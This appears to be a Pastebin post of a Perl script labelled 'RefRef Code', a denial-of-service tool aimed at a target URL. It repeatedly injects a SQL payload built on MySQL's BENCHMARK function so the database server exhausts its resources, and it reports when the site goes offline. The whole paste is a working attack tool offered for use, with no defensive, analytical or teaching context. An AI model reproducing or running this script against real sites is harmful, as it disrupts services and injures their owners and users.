Advertisement
YeiZeta

RefRef Code

Apr 6th, 2012
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. #!/usr/bin/env perl
  2.  
  3. use LWP::UserAgent;
  4.  
  5. my $nave = LWP::UserAgent->new;
  6. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  7. $nave->timeout(5);
  8.  
  9. if ($ARGV[0]) {
  10. now($ARGV[0]);
  11. } else {
  12. usage();
  13. }
  14.  
  15. sub now {
  16. print "\n[+] Target : " . $_[0] . "\n";
  17. print "\n[+] Starting the attack\n[+] Info: Control+C to stop attack\n\n";
  18.  
  19. while(true) {
  20. $SIG{INT} = \&adios;
  21.  
  22. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  23.  
  24. unless($code->is_success) {
  25. print "[+] Web Off\n";
  26. }
  27. }
  28. }
  29.  
  30. sub adios {
  31. print "\n[+] Stopping attack\n";
  32. exit 0;
  33. }
  34.  
  35. sub usage {
  36. print "[+] Usage: $0 <target>\n";
  37. exit 0;
  38. }
  39.  
  40. sub toma {
  41. return $nave->get($_[0]);
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement